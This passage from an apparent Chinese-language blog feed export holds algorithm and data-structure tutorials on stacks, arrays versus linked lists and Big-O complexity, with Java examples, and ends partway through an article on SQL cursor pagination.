id="3-4-浏览器前进后退"><a href="#3-4-浏览器前进后退" class="headerlink" title="3.4 浏览器前进后退"></a>3.4 浏览器前进后退</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">BrowserHistory</span> &#123;</span><br><span class="line">    Deque&lt;String&gt; back = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    Deque&lt;String&gt; forward = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    String current;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visit</span><span class="params">(String url)</span> &#123;</span><br><span class="line">        back.push(current);</span><br><span class="line">        current = url;</span><br><span class="line">        forward.clear();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">back</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!back.isEmpty()) &#123;</span><br><span class="line">            forward.push(current);</span><br><span class="line">            current = back.pop();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> current;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-5-函数调用栈"><a href="#3-5-函数调用栈" class="headerlink" title="3.5 函数调用栈"></a>3.5 函数调用栈</h3><p>程序运行时的函数调用就是通过栈实现的：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">main()</span><br><span class="line">  └── funcA()</span><br><span class="line">        └── funcB()</span><br><span class="line">              └── funcC()  ← 当前执行</span><br></pre></td></tr></table></figure><p>每次函数调用，将返回地址、参数、局部变量压入栈。函数返回时出栈恢复现场。</p><h2 id="四、单调栈专题"><a href="#四、单调栈专题" class="headerlink" title="四、单调栈专题"></a>四、单调栈专题</h2><h3 id="4-1-单调递减栈"><a href="#4-1-单调递减栈" class="headerlink" title="4.1 单调递减栈"></a>4.1 单调递减栈</h3><p>栈内元素从底到顶递减，用于找<strong>下一个更大元素</strong>。</p><h3 id="4-2-单调递增栈"><a href="#4-2-单调递增栈" class="headerlink" title="4.2 单调递增栈"></a>4.2 单调递增栈</h3><p>栈内元素从底到顶递增，用于找<strong>下一个更小元素</strong>。</p><h3 id="4-3-接雨水问题"><a href="#4-3-接雨水问题" class="headerlink" title="4.3 接雨水问题"></a>4.3 接雨水问题</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">trap</span><span class="params">(<span class="type">int</span>[] height)</span> &#123;</span><br><span class="line">    Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="type">int</span> <span class="variable">water</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; height.length; i++) &#123;</span><br><span class="line">        <span class="keyword">while</span> (!stack.isEmpty() &amp;&amp; height[stack.peek()] &lt; height[i]) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">bottom</span> <span class="operator">=</span> height[stack.pop()];</span><br><span class="line">            <span class="keyword">if</span> (stack.isEmpty()) <span class="keyword">break</span>;</span><br><span class="line">            <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> stack.peek();</span><br><span class="line">            <span class="type">int</span> <span class="variable">w</span> <span class="operator">=</span> i - left - <span class="number">1</span>;</span><br><span class="line">            <span class="type">int</span> <span class="variable">h</span> <span class="operator">=</span> Math.min(height[left], height[i]) - bottom;</span><br><span class="line">            water += w * h;</span><br><span class="line">        &#125;</span><br><span class="line">        stack.push(i);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> water;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>栈的核心价值在于<strong>LIFO特性</strong>与<strong>状态保存/恢复能力</strong>。无论是括号匹配、表达式求值，还是函数调用、DFS遍历，栈都提供了简洁的解决方案。掌握单调栈技巧，可以解决很多”找下一个更大/更小元素”类问题。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 数据结构 </tag>
            
            <tag> 栈 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数组与链表的本质区别</title>
      <link href="//array-vs-linkedlist/"/>
      <url>//array-vs-linkedlist/</url>
      
        <content type="html"><![CDATA[<h2 id="一、数组-Array"><a href="#一、数组-Array" class="headerlink" title="一、数组(Array)"></a>一、数组(Array)</h2><h3 id="1-1-定义与特性"><a href="#1-1-定义与特性" class="headerlink" title="1.1 定义与特性"></a>1.1 定义与特性</h3><p>数组是<strong>连续内存空间</strong>存储的相同类型数据集合。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[] arr = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">5</span>];  <span class="comment">// 分配连续5个int大小的内存</span></span><br></pre></td></tr></table></figure><h3 id="1-2-内存布局"><a href="#1-2-内存布局" class="headerlink" title="1.2 内存布局"></a>1.2 内存布局</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">索引:  [0]   [1]   [2]   [3]   [4]</span><br><span class="line">      +----+----+----+----+----+</span><br><span class="line">      | 10 | 20 | 30 | 40 | 50 |</span><br><span class="line">      +----+----+----+----+----+</span><br><span class="line">地址: 1000 1004 1008 1012 1016</span><br></pre></td></tr></table></figure><p>通过基地址 + 偏移量直接计算元素位置：<br>[ \text{address}(i) = \text{base} + i \times \text{size} ]</p><h3 id="1-3-时间复杂度"><a href="#1-3-时间复杂度" class="headerlink" title="1.3 时间复杂度"></a>1.3 时间复杂度</h3><table><thead><tr><th>操作</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>随机访问</td><td>( O(1) )</td><td>通过索引直接计算地址</td></tr><tr><td>尾部插入</td><td>( O(1) )</td><td>已知长度时</td></tr><tr><td>中间插入</td><td>( O(n) )</td><td>需要移动后续元素</td></tr><tr><td>删除</td><td>( O(n) )</td><td>需要移动后续元素</td></tr><tr><td>查找</td><td>( O(n) )</td><td>无序数组</td></tr></tbody></table><h3 id="1-4-Java实现细节"><a href="#1-4-Java实现细节" class="headerlink" title="1.4 Java实现细节"></a>1.4 Java实现细节</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ArrayList底层是数组</span></span><br><span class="line"><span class="keyword">transient</span> Object[] elementData;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 扩容机制：默认1.5倍</span></span><br><span class="line"><span class="type">int</span> <span class="variable">newCapacity</span> <span class="operator">=</span> oldCapacity + (oldCapacity &gt;&gt; <span class="number">1</span>);</span><br></pre></td></tr></table></figure><h2 id="二、链表-Linked-List"><a href="#二、链表-Linked-List" class="headerlink" title="二、链表(Linked List)"></a>二、链表(Linked List)</h2><h3 id="2-1-定义与特性"><a href="#2-1-定义与特性" class="headerlink" title="2.1 定义与特性"></a>2.1 定义与特性</h3><p>链表是<strong>非连续内存空间</strong>通过指针连接的数据结构。</p><h3 id="2-2-节点结构"><a href="#2-2-节点结构" class="headerlink" title="2.2 节点结构"></a>2.2 节点结构</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ListNode</span> &#123;</span><br><span class="line">    <span class="type">int</span> val;           <span class="comment">// 数据域</span></span><br><span class="line">    ListNode next;     <span class="comment">// 指针域</span></span><br><span class="line">    </span><br><span class="line">    ListNode(<span class="type">int</span> val) &#123;</span><br><span class="line">        <span class="built_in">this</span>.val = val;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-内存布局"><a href="#2-3-内存布局" class="headerlink" title="2.3 内存布局"></a>2.3 内存布局</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">节点A        节点B        节点C        节点D</span><br><span class="line">+----+     +----+     +----+     +----+</span><br><span class="line">| 10 | --&gt; | 20 | --&gt; | 30 | --&gt; | 40 | --&gt; null</span><br><span class="line">|next|     |next|     |next|     |next|</span><br><span class="line">+----+     +----+     +----+ +----+</span><br><span class="line">  ↑</span><br><span class="line"> head</span><br></pre></td></tr></table></figure><p>节点分散存储，通过next指针串联。</p><h3 id="2-4-时间复杂度"><a href="#2-4-时间复杂度" class="headerlink" title="2.4 时间复杂度"></a>2.4 时间复杂度</h3><table><thead><tr><th>操作</th><th>时间复杂度</th><th>说明</th></tr></thead><tbody><tr><td>随机访问</td><td>( O(n) )</td><td>必须从头遍历</td></tr><tr><td>头部插入/删除</td><td>( O(1) )</td><td>修改head指针</td></tr><tr><td>尾部插入</td><td>( O(n) )</td><td>单链表需遍历</td></tr><tr><td>给定节点删除</td><td>( O(1) )</td><td>已知前驱或后继</td></tr><tr><td>查找</td><td>( O(n) )</td><td>顺序遍历</td></tr></tbody></table><h3 id="2-5-常见链表类型"><a href="#2-5-常见链表类型" class="headerlink" title="2.5 常见链表类型"></a>2.5 常见链表类型</h3><p><strong>单链表</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">SinglyLinkedList</span> &#123;</span><br><span class="line">    ListNode head;</span><br><span class="line">    <span class="comment">// 只能单向遍历</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>双向链表</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">DoublyListNode</span> &#123;</span><br><span class="line">    <span class="type">int</span> val;</span><br><span class="line">    DoublyListNode prev;</span><br><span class="line">    DoublyListNode next;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Java LinkedList底层实现</span></span><br></pre></td></tr></table></figure><p><strong>循环链表</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 尾节点指向头节点</span></span><br><span class="line">last.next = head;</span><br></pre></td></tr></table></figure><h2 id="三、核心对比"><a href="#三、核心对比" class="headerlink" title="三、核心对比"></a>三、核心对比</h2><table><thead><tr><th>维度</th><th>数组</th><th>链表</th></tr></thead><tbody><tr><td>内存分配</td><td>连续，静态/动态</td><td>离散，动态</td></tr><tr><td>随机访问</td><td>( O(1) )</td><td>( O(n) )</td></tr><tr><td>插入删除</td><td>( O(n) )</td><td>( O(1) )</td></tr><tr><td>缓存友好性</td><td>高（局部性原理）</td><td>低（指针跳转）</td></tr><tr><td>内存占用</td><td>仅数据</td><td>数据 + 指针</td></tr><tr><td>扩容成本</td><td>高（需要搬迁）</td><td>低（只需改指针）</td></tr><tr><td>适用场景</td><td>频繁查询、索引访问</td><td>频繁增删、未知数量</td></tr></tbody></table><h2 id="四、实际应用选择"><a href="#四、实际应用选择" class="headerlink" title="四、实际应用选择"></a>四、实际应用选择</h2><h3 id="4-1-选择数组的场景"><a href="#4-1-选择数组的场景" class="headerlink" title="4.1 选择数组的场景"></a>4.1 选择数组的场景</h3><ul><li>数据量固定或变化不大</li><li>需要频繁按索引访问</li><li>对内存局部性有要求（如数值计算）</li><li>实现简单，无指针开销</li></ul><h3 id="4-2-选择链表的场景"><a href="#4-2-选择链表的场景" class="headerlink" title="4.2 选择链表的场景"></a>4.2 选择链表的场景</h3><ul><li>频繁在头部/中间插入删除</li><li>数据量动态变化大</li><li>实现队列、栈等数据结构</li><li>不需要随机访问</li></ul><h3 id="4-3-Java中的选择"><a href="#4-3-Java中的选择" class="headerlink" title="4.3 Java中的选择"></a>4.3 Java中的选择</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 频繁查询 → ArrayList</span></span><br><span class="line">List&lt;Integer&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 频繁增删 → LinkedList</span></span><br><span class="line">List&lt;Integer&gt; list = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 但要注意：LinkedList实际 cache miss 高，小数据量不一定更快</span></span><br></pre></td></tr></table></figure><h2 id="五、经典面试题"><a href="#五、经典面试题" class="headerlink" title="五、经典面试题"></a>五、经典面试题</h2><h3 id="5-1-反转链表"><a href="#5-1-反转链表" class="headerlink" title="5.1 反转链表"></a>5.1 反转链表</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> ListNode <span class="title function_">reverse</span><span class="params">(ListNode head)</span> &#123;</span><br><span class="line">    <span class="type">ListNode</span> <span class="variable">prev</span> <span class="operator">=</span> <span class="literal">null</span>, curr = head;</span><br><span class="line">    <span class="keyword">while</span> (curr != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">ListNode</span> <span class="variable">next</span> <span class="operator">=</span> curr.next;</span><br><span class="line">        curr.next = prev;</span><br><span class="line">        prev = curr;</span><br><span class="line">        curr = next;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> prev;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="5-2-检测环"><a href="#5-2-检测环" class="headerlink" title="5.2 检测环"></a>5.2 检测环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">hasCycle</span><span class="params">(ListNode head)</span> &#123;</span><br><span class="line">    <span class="type">ListNode</span> <span class="variable">slow</span> <span class="operator">=</span> head, fast = head;</span><br><span class="line">    <span class="keyword">while</span> (fast != <span class="literal">null</span> &amp;&amp; fast.next != <span class="literal">null</span>) &#123;</span><br><span class="line">        slow = slow.next;</span><br><span class="line">        fast = fast.next.next;</span><br><span class="line">        <span class="keyword">if</span> (slow == fast) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="5-3-找中点"><a href="#5-3-找中点" class="headerlink" title="5.3 找中点"></a>5.3 找中点</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> ListNode <span class="title function_">middleNode</span><span class="params">(ListNode head)</span> &#123;</span><br><span class="line">    <span class="type">ListNode</span> <span class="variable">slow</span> <span class="operator">=</span> head, fast = head;</span><br><span class="line">    <span class="keyword">while</span> (fast != <span class="literal">null</span> &amp;&amp; fast.next != <span class="literal">null</span>) &#123;</span><br><span class="line">        slow = slow.next;</span><br><span class="line">        fast = fast.next.next;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> slow;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>数组和链表代表了两种基本的内存组织哲学：<strong>连续 vs 离散</strong>。数组用空间连续性换取 ( O(1) ) 访问，链表用指针灵活性换取 ( O(1) ) 增删。理解它们的本质区别，是掌握更复杂数据结构的基础。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 数据结构 </tag>
            
            <tag> 数组 </tag>
            
            <tag> 链表 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>算法复杂度分析与大O表示法</title>
      <link href="//algorithm-big-o-complexity/"/>
      <url>//algorithm-big-o-complexity/</url>
      
        <content type="html"><![CDATA[<h2 id="一、为什么需要复杂度分析"><a href="#一、为什么需要复杂度分析" class="headerlink" title="一、为什么需要复杂度分析"></a>一、为什么需要复杂度分析</h2><h3 id="1-1-事后统计法的局限"><a href="#1-1-事后统计法的局限" class="headerlink" title="1.1 事后统计法的局限"></a>1.1 事后统计法的局限</h3><ul><li>依赖测试环境（CPU、内存、操作系统）</li><li>依赖测试数据规模</li><li>无法提前预估算法性能</li></ul><h3 id="1-2-复杂度分析的优势"><a href="#1-2-复杂度分析的优势" class="headerlink" title="1.2 复杂度分析的优势"></a>1.2 复杂度分析的优势</h3><ul><li>不依赖具体环境</li><li>反映算法随数据规模增长的趋势</li><li>可以在编码阶段预估性能</li></ul><h2 id="二、大O表示法"><a href="#二、大O表示法" class="headerlink" title="二、大O表示法"></a>二、大O表示法</h2><h3 id="2-1-定义"><a href="#2-1-定义" class="headerlink" title="2.1 定义"></a>2.1 定义</h3><p>大O表示法描述算法执行时间（或占用空间）随输入规模增长的变化趋势：<br>[ T(n) = O(f(n)) ]</p><p>表示存在常数 ( c ) 和 ( n_0 )，使得当 ( n \geq n_0 ) 时，( T(n) \leq c \cdot f(n) )。</p><h3 id="2-2-核心原则"><a href="#2-2-核心原则" class="headerlink" title="2.2 核心原则"></a>2.2 核心原则</h3><ol><li><strong>只关注最高阶项</strong>：( O(2n^2 + 3n + 1) = O(n^2) )</li><li><strong>忽略常数系数</strong>：( O(3n) = O(n) )</li><li><strong>关注最坏情况</strong>：通常分析上界</li></ol><h2 id="三、常见时间复杂度"><a href="#三、常见时间复杂度" class="headerlink" title="三、常见时间复杂度"></a>三、常见时间复杂度</h2><table><thead><tr><th>复杂度</th><th>名称</th><th>示例</th></tr></thead><tbody><tr><td>( O(1) )</td><td>常数阶</td><td>数组随机访问</td></tr><tr><td>( O(\log n) )</td><td>对数阶</td><td>二分查找</td></tr><tr><td>( O(n) )</td><td>线性阶</td><td>遍历数组</td></tr><tr><td>( O(n\log n) )</td><td>线性对数阶</td><td>快速排序平均</td></tr><tr><td>( O(n^2) )</td><td>平方阶</td><td>冒泡排序</td></tr><tr><td>( O(n^3) )</td><td>立方阶</td><td>三层嵌套循环</td></tr><tr><td>( O(2^n) )</td><td>指数阶</td><td>斐波那契递归</td></tr><tr><td>( O(n!) )</td><td>阶乘阶</td><td>全排列</td></tr></tbody></table><h3 id="3-1-复杂度曲线对比"><a href="#3-1-复杂度曲线对比" class="headerlink" title="3.1 复杂度曲线对比"></a>3.1 复杂度曲线对比</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">O(1) &lt; O(log n) &lt; O(n) &lt; O(n log n) &lt; O(n²) &lt; O(n³) &lt; O(2ⁿ) &lt; O(n!)</span><br></pre></td></tr></table></figure><p>当 ( n = 1000 ) 时：</p><ul><li>( O(1) ): 1</li><li>( O(\log n) ): ~10</li><li>( O(n) ): 1000</li><li>( O(n^2) ): 1,000,000</li><li>( O(2^n) ): 无法计算</li></ul><h2 id="四、时间复杂度分析实例"><a href="#四、时间复杂度分析实例" class="headerlink" title="四、时间复杂度分析实例"></a>四、时间复杂度分析实例</h2><h3 id="4-1-单层循环"><a href="#4-1-单层循环" class="headerlink" title="4.1 单层循环"></a>4.1 单层循环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// O(n)</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">    System.out.println(i);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-嵌套循环"><a href="#4-2-嵌套循环" class="headerlink" title="4.2 嵌套循环"></a>4.2 嵌套循环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// O(n²)</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; n; j++) &#123;</span><br><span class="line">        <span class="comment">// 操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-对数级循环"><a href="#4-3-对数级循环" class="headerlink" title="4.3 对数级循环"></a>4.3 对数级循环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// O(log n)</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i *= <span class="number">2</span>) &#123;</span><br><span class="line">    <span class="comment">// 操作</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-4-递归算法-斐波那契"><a href="#4-4-递归算法-斐波那契" class="headerlink" title="4.4 递归算法 - 斐波那契"></a>4.4 递归算法 - 斐波那契</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// O(2ⁿ) - 存在大量重复计算</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">fib</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (n &lt;= <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line">    <span class="keyword">return</span> fib(n - <span class="number">1</span>) + fib(n - <span class="number">2</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>递归树有 ( 2^n ) 个节点，但存在大量重叠子问题。</p><h3 id="4-5-递归算法-归并排序"><a href="#4-5-递归算法-归并排序" class="headerlink" title="4.5 递归算法 - 归并排序"></a>4.5 递归算法 - 归并排序</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// O(n log n)</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">mergeSort</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        mergeSort(arr, left, mid);      <span class="comment">// T(n/2)</span></span><br><span class="line">        mergeSort(arr, mid + <span class="number">1</span>, right); <span class="comment">// T(n/2)</span></span><br><span class="line">        merge(arr, left, mid, right);   <span class="comment">// O(n)</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>递推公式：( T(n) = 2T(n/2) + O(n) )<br>由主定理可得 ( T(n) = O(n \log n) )</p><h2 id="五、空间复杂度"><a href="#五、空间复杂度" class="headerlink" title="五、空间复杂度"></a>五、空间复杂度</h2><h3 id="5-1-定义"><a href="#5-1-定义" class="headerlink" title="5.1 定义"></a>5.1 定义</h3><p>算法执行过程中临时占用存储空间大小的量度。</p><h3 id="5-2-常见空间复杂度"><a href="#5-2-常见空间复杂度" class="headerlink" title="5.2 常见空间复杂度"></a>5.2 常见空间复杂度</h3><ul><li>( O(1) ): 仅使用常数额外空间</li><li>( O(n) ): 使用与输入规模成正比的额外空间</li><li>( O(n^2) ): 二维数组等</li><li>( O(\log n) ): 递归调用栈深度</li></ul><h3 id="5-3-实例分析"><a href="#5-3-实例分析" class="headerlink" title="5.3 实例分析"></a>5.3 实例分析</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 空间复杂度 O(1)</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">sum</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">result</span> <span class="operator">=</span> <span class="number">0</span>;  <span class="comment">// 常量空间</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : arr) &#123;</span><br><span class="line">        result += num;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 空间复杂度 O(n)</span></span><br><span class="line"><span class="type">int</span>[] copy(<span class="type">int</span>[] arr) &#123;</span><br><span class="line">    <span class="type">int</span>[] result = <span class="keyword">new</span> <span class="title class_">int</span>[arr.length];  <span class="comment">// 与输入规模成正比</span></span><br><span class="line">    System.arraycopy(arr, <span class="number">0</span>, result, <span class="number">0</span>, arr.length);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 空间复杂度 O(log n) - 递归栈</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] arr, <span class="type">int</span> target, <span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (left &gt; right) <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> (arr[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">    <span class="keyword">if</span> (arr[mid] &gt; target) &#123;</span><br><span class="line">        <span class="keyword">return</span> binarySearch(arr, target, left, mid - <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> binarySearch(arr, target, mid + <span class="number">1</span>, right);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、最好、最坏、平均情况"><a href="#六、最好、最坏、平均情况" class="headerlink" title="六、最好、最坏、平均情况"></a>六、最好、最坏、平均情况</h2><table><thead><tr><th>情况</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>最好</td><td>最理想输入</td><td>查找第一个元素就是目标</td></tr><tr><td>最坏</td><td>最不利输入</td><td>查找最后一个或不存在</td></tr><tr><td>平均</td><td>随机输入的期望</td><td>概率加权平均值</td></tr><tr><td>均摊</td><td>一系列操作的平均</td><td>动态数组扩容</td></tr></tbody></table><p><strong>通常关注最坏情况复杂度</strong>，因为它给出了性能上界。</p><h2 id="七、均摊复杂度"><a href="#七、均摊复杂度" class="headerlink" title="七、均摊复杂度"></a>七、均摊复杂度</h2><h3 id="7-1-动态数组扩容"><a href="#7-1-动态数组扩容" class="headerlink" title="7.1 动态数组扩容"></a>7.1 动态数组扩容</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ArrayList的add操作</span></span><br><span class="line"><span class="comment">// 大部分情况O(1)，扩容时O(n)</span></span><br><span class="line"><span class="comment">// 均摊复杂度为O(1)</span></span><br></pre></td></tr></table></figure><h3 id="7-2-分析方法"><a href="#7-2-分析方法" class="headerlink" title="7.2 分析方法"></a>7.2 分析方法</h3><p>将昂贵操作的成本均摊到多次廉价操作上。如果每 ( n ) 次操作触发一次 ( O(n) ) 操作，则均摊为 ( O(1) )。</p><h2 id="八、复杂度分析常见误区"><a href="#八、复杂度分析常见误区" class="headerlink" title="八、复杂度分析常见误区"></a>八、复杂度分析常见误区</h2><ol><li><strong>忽略常数时间的隐性成本</strong>：缓存不命中、内存分配</li><li><strong>只看时间忽略空间</strong>：有时空间换时间是值得的</li><li><strong>理论 vs 实际</strong>：大O忽略常数，实际中小数据量可能 ( O(n^2) ) 更快</li><li><strong>递归只算调用次数</strong>：要算上每次调用的工作量</li></ol><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><p>复杂度分析是评估算法效率的核心工具。掌握大O表示法，能够在编码前预判算法性能，做出合理的实现选择。记住：<strong>大O描述的是趋势，不是精确值</strong>。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 数据结构 </tag>
            
            <tag> 复杂度 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, 